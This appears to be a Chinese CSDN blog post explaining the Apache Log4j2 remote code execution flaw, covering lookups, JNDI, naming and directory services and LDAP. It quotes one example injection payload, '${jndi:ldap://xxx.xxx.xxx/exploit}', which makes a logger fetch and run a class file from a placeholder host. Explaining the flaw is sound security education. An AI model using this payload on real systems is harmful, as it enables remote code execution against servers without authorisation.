《漏洞研究》Apache Log4j2 远程代码执行漏洞_apache log4j2远程代码执行漏洞(1)

本文深入剖析Apache Log4j2的远程代码执行漏洞,介绍漏洞核心原理,包括Lookups、JNDI、LDAP和RMI。通过实例演示Payload构造和利用,涉及Apache多个组件的注入点。同时,提供了学习路线图,包括网络安全工具箱、项目实战和面试题。
摘要由CSDN通过智能技术生成
攻击者在漏洞点注入表达式如:
-->${jndi:ldap://xxx.xxx.xxx/exploit}
-->log4j2支持lookup
-->JNDI
-->ldap/rmi
-->远程加载攻击者服务器上的class文件构建对象
-->执行恶意代码

0x04 漏洞核心原理

一图看懂log4j

012.jpg
当我们将外部输入的数据如浏览器类型记录到日志中时,可能会存在注入攻击的风险。比如攻击者可以在浏览器类型中注入恶意代码,造成系统安全问题。Log4j可以对字符串进行解析,如果发现${}这样的符号,就会进一步解析它,并执行对应的操作。攻击者可以利用这个漏洞,通过JNDI扩展内容请求Java对象,包括远程下载class文件并构建对象等,从而实现恶意攻击。

0x05 学习漏洞需了解

1.lookups

lookups是查找搜索的意思, 是用于查找或获取存储在不同数据结构中数据的接口,以键或索引作为查找方式。
在log4j2中,就是在输出日志的时候,通过lookup方法去查找要输出的内容**${}**,具体查询数据存储的位置和方式需要通过代码实现。
003.jpg
该接口类似于面向对象编程中的概念。所幸log4j已经为开发者封装好了常见的查找功能模块,通过使用log4j的API,我们可以轻松地查找到日志记录器并实现日志记录。

2.JNDI

根据官方文档,JNDI 全称为 (Java Naming and Directory Interface),即 JAVA命名和目录接口。
它提供一个目录系统,将服务名称与对象关联起来,简单来说就是通过名称查找实际对象的服务。

架构

JNDI体系结构主要包含三个组件:命名系统、目录系统、服务提供者接口(SPI),如下图中 JNDI 为不同的目录服务提供统一的操作接口 ,JDK 中包含了下述内置的目录服务:
001.png

命名服务

它提供了一个层次化的命名空间和标准API,可以用来将对象与名称相互映射,并提供了基本的名称解析、搜索和绑定等操作。

DNS服务 		通过域名寻找 ip 地址、
文件系统服务	 通过文件名定位到具体文件、
以及 LDAP即轻量级目录访问协议都是名称服务,不同的是 LDAP是一个协议,是和 HTTP 一样是通用的,而不止局限于 JAVA.

通俗点来讲类似于一个字典的数据源,通过JNDI这个接口,传入name进去,就能获取到对象。不同的数据源有不同的查找方式,而且JNDI也只是一个上层封装,在它下面有很多种具体的数据源,如LDAP,DNS,NIS,NDS,RMI。

目录服务

目录系统可以用来存储和查找与对象相关的元数据信息,不仅提供命名到对象的映射,还提供对象的属性信息,方便管理和检索,并提供对象属性操作执行的功能,总体来说,目录服务是名称服务的扩展,它提供了更丰富的元数据信息,提高了对象的管理和检索能力

目录服务中的对象可以有多个描述其特征和特性的属性
比如用户对象可以有用户名、密码、邮件地址、角色等属性,计算机对象可以有IP地址、MAC地址、操作系统版本等属性。

在名称服务中根据打印机名称获取打印机对象,并进行打印操作。
而用户可以通过目录服务,针对打印机需求,根据分辨率等属性进行搜索获取符合条件的打印机对象。

服务提供者接口(SPI)

SPI提供了一套标准的接口,允许开发人员实现自己的命名和目录服务。
开发人员可以根据自己的需要,实现自己的命名和目录服务,并针对这些自定义的服务实现JNDI SPI接口。

3.LDAP 轻量级目录访问协议

LDAP (轻量级目录访问协议)即是 JNDI SPI 支持的 服务接口 (Service Provider) 之一,但同时也是协议。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值